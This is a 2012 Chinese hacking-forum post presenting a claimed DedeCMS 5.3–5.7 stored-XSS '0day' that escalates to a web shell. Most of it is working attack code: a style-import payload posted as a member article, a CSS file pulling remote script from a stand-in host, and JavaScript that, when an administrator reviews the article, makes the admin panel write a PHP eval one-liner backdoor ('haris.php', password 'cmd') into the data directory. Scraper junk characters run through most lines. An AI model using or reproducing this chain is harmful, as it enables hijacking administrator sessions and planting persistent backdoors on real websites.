找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1645|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell/ D! u4 @- n5 A: D8 n5 h
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
' Q8 t9 x* y6 G' m  v! ]; o: f目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
1 Y. V3 r) q$ g% _下面说说利用方法。
3 R8 o9 {- ]  h+ [条件有2个:3 W" N; k8 ?( A+ W
1.开启注册+ q" a4 I; X8 C6 M% K/ P1 J
2.开启投稿9 V' @* ~9 \4 T( b7 H7 a1 r
注册会员----发表文章
( I) g/ Z1 O3 i* G内容填写:: v/ k; [: f" C( g6 c7 Z8 t
复制代码
* j8 H. W! ]8 |' q+ F<style>@im\port'\http://xxx.com/xss.css';</style># U/ Z& ]6 @2 y  j* ]
新建XSS.Css
) ?  ^: w' U  T! _复制代码: _- ~4 n; _; _/ p; V- p! R8 n
.body{
2 q+ x/ O' a) `4 vbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }! G5 z1 R7 ~/ U4 v- |
新建xss.js 内容为$ V4 ]% g1 m" ]# `6 V+ b+ m
复制代码
3 I' V1 d  x: T3 D1.var request = false;) ~6 ^! C& ~8 D( `7 b+ b
2.if(window.XMLHttpRequest) {
4 {) m' f6 D, a1 H3.request = new XMLHttpRequest();
, c8 z. Q* |/ P* x0 @0 I) e4.if(request.overrideMimeType) {
% O& V* T( b3 @1 i2 d5.request.overrideMimeType('text/xml');
4 O1 r& L! r+ z/ Z- c6.}
2 e3 O1 V$ O- s7 K& ^' F% ]7.} else if(window.ActiveXObject) {* Y  y) ^+ B+ X* K8 H$ g, a
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];6 M/ {1 F# D3 K; o9 H! g/ n
9.for(var i=0; i<versions.length; i++) {. J6 v$ h% I5 v( Z% P
10.try {" B0 h/ m3 ^& u$ {# V6 o1 H
11.request = new ActiveXObject(versions);6 _7 w: Z, M$ c7 S: P7 M* `
12.} catch(e) {}/ @, l2 [9 u8 ~, y; q
13.}
3 F& R' a0 x: n- @. j0 S. Q, U14.}) L; u" a+ y1 J( f$ I4 d. ?
15.xmlhttp=request;2 {8 W9 `. v1 B, z( B- a$ J6 ]2 m2 x
16.function getFolder( url ){! ?, j2 a3 ?0 \& L7 V4 x# a
17. obj = url.split('/')+ M% a- ^' D3 U" a3 X# }
18. return obj[obj.length-2]
% B5 U, ]9 t/ Q0 a4 a* U19.}
, W5 l1 Z3 {  ^5 a- L4 y$ |20.oUrl = top.location.href;1 D+ X5 l1 A2 T) I2 E
21.u = getFolder(oUrl);; t! Y3 ~3 ?+ r3 I; j* J
22.add_admin();$ v+ C  \7 h$ A: E- C
23.function add_admin(){' C" G, g; I' _
24.var url= "/"+u+"/sys_sql_query.php";$ i7 |! J7 e0 E/ ?  U
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";0 E, Z: [# C7 g6 a; z
26.xmlhttp.open("POST", url, true);5 M# c0 F4 [/ M6 R
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- z% z3 P' N( x) n& k28.xmlhttp.setRequestHeader("Content-length", params.length);& q1 [- m) o* S# ]1 E- q  S  C
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");! y4 |$ F" ?& Q& n
30.xmlhttp.send(params);" W& V+ t4 b3 Y' s9 }; }
31.}0 d. b& j& i$ _/ ]( ]
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表